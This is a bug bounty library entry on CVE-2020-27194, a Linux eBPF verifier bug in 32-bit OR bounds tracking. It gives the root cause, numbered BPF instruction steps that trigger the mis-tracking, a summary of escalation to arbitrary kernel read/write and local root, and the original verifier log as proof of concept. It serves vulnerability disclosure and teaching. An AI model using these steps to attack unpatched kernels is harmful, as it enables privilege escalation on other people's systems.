# [CVE-2020-27194] Linux kernel: eBPF verifier bug in `or` binary operation tracking function leads to LPE

eBPF verifier's scalar32_min_max_or() used 64-bit registers for 32-bit subreg bounds tracking, enabling OOB read/write and reliable kernel LPE.

- Payout: $750
- Severity: high
- Program: Internet Bug Bounty
- Found by: simonscannell
- Disclosed: 2021-07-23
- CVE: CVE-2020-27194
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/1010340
- Library page: https://bugbountylibrary.com/r/h1%3A1010340
- Tags: area:oss domain:oss impact:privesc impact:rce kind:bounty platform:hackerone sev:high tech:linux technique:incomplete-fix technique:source-review vuln:memory-corruption vuln:privilege-escalation

**Target:** eBPF verifier (scalar32_min_max_or) via BPF socket filter programs
**Root cause:** scalar32_min_max_or() used 64-bit register bounds instead of 32-bit subreg bounds, so OR truncation produced an incorrect [1,1] 32-bit range, breaking bounds tracking.
**Steps:**
1. Load map value into r1 via `r1 = *(u64 *)(r0 +0)`
2. Set `r2 = 0x600000002` and branch `if r1 < r2 goto pc+1` to force umin_value=25769803778
3. Branch `if r1 > 0x0 goto pc+1` to lower bound to 1, giving umin_value=1, umax_value=25769803777, var_off=(0x0; 0x77fffffff)
4. Execute `r1 |= 0`; verifier's 32-bit tracker truncates to range [1,1] with u32_max_value=1
5. Use the mis-tracked register to index map value out of bounds, achieving arbitrary kernel read/write
6. Escalate to local privilege escalation on default distro configs
**How found:** Comparing scalar32_min_max_or() against other 32-bit subreg tracking functions revealed it used 64-bit registers instead of 32-bit ones, causing bounds tracking inconsistency.
**Exploitation:** Unprivileged attacker loads a BPF socket filter program that manipulates verifier bounds via the OR operation, then uses the mis-tracked scalar to read/write out of bounds on a map value, yielding arbitrary kernel read/write and LPE. Author built a highly reliable exploit for Fedora 33 (kernel 5.8.*).
**Escalation:** OOB map access converted to arbitrary kernel read/write, then to local privilege escalation.
**Insight:** When auditing verifier/JIT bound-tracking code, diff each subreg helper against its siblings: a single function using 64-bit regs where others use 32-bit signals a truncation bug exploitable via OR/AND masking.

## Proof of concept (copied exactly from the original report)

**BPF verifier log showing OR truncation bug**

```
8: R0=map_value(id=0,off=0,ks=4,vs=48,imm=0) R10=fp0 fp-8=mmmmmmmm
  8: (79) r1 = *(u64 *)(r0 +0)
   R0=map_value(id=0,off=0,ks=4,vs=48,imm=0) R10=fp0 fp-8=mmmmmmmm
  9: R0=map_value(id=0,off=0,ks=4,vs=48,imm=0) R1_w=inv(id=0) R10=fp0 fp-8=mmmmmmmm
  9: (b7) r0 = 1
  10: R0_w=inv1 R1_w=inv(id=0) R10=fp0 fp-8=mmmmmmmm
  10: (18) r2 = 0x600000002
  12: R0_w=inv1 R1_w=inv(id=0) R2_w=inv25769803778 R10=fp0 fp-8=mmmmmmmm
  12: (ad) if r1 < r2 goto pc+1
   R0_w=inv1 R1_w=inv(id=0,umin_value=25769803778) R2_w=inv25769803778 R10=fp0 fp-8=mmmmmmmm
  13: R0_w=inv1 R1_w=inv(id=0,umin_value=25769803778) R2_w=inv25769803778 R10=fp0 fp-8=mmmmmmmm
  13: (95) exit
  14: R0_w=inv1 R1_w=inv(id=0,umax_value=25769803777,var_off=(0x0; 0x7ffffffff)) R2_w=inv25769803778 R10=fp0 fp-8=mmmmmmmm
  14: (25) if r1 > 0x0 goto pc+1
   R0_w=inv1 R1_w=inv(id=0,umax_value=0,var_off=(0x0; 0x7fffffff),u32_max_value=2147483647) R2_w=inv25769803778 R10=fp0 fp-8=mmmmmmmm
  15: R0_w=inv1 R1_w=inv(id=0,umax_value=0,var_off=(0x0; 0x7fffffff),u32_max_value=2147483647) R2_w=inv25769803778 R10=fp0 fp-8=mmmmmmmm
  15: (95) exit
  16: R0_w=inv1 R1_w=inv(id=0,umin_value=1,umax_value=25769803777,var_off=(0x0; 0x77fffffff),u32_max_value=2147483647) R2_w=inv25769803778 R10=fp0 fp-8=mmmmmmmm
  16: (47) r1 |= 0
  17: R0_w=inv1 R1_w=inv(id=0,umin_value=1,umax_value=32212254719,var_off=(0x1; 0x700000000),s32_max_value=1,u32_max_value=1)
```

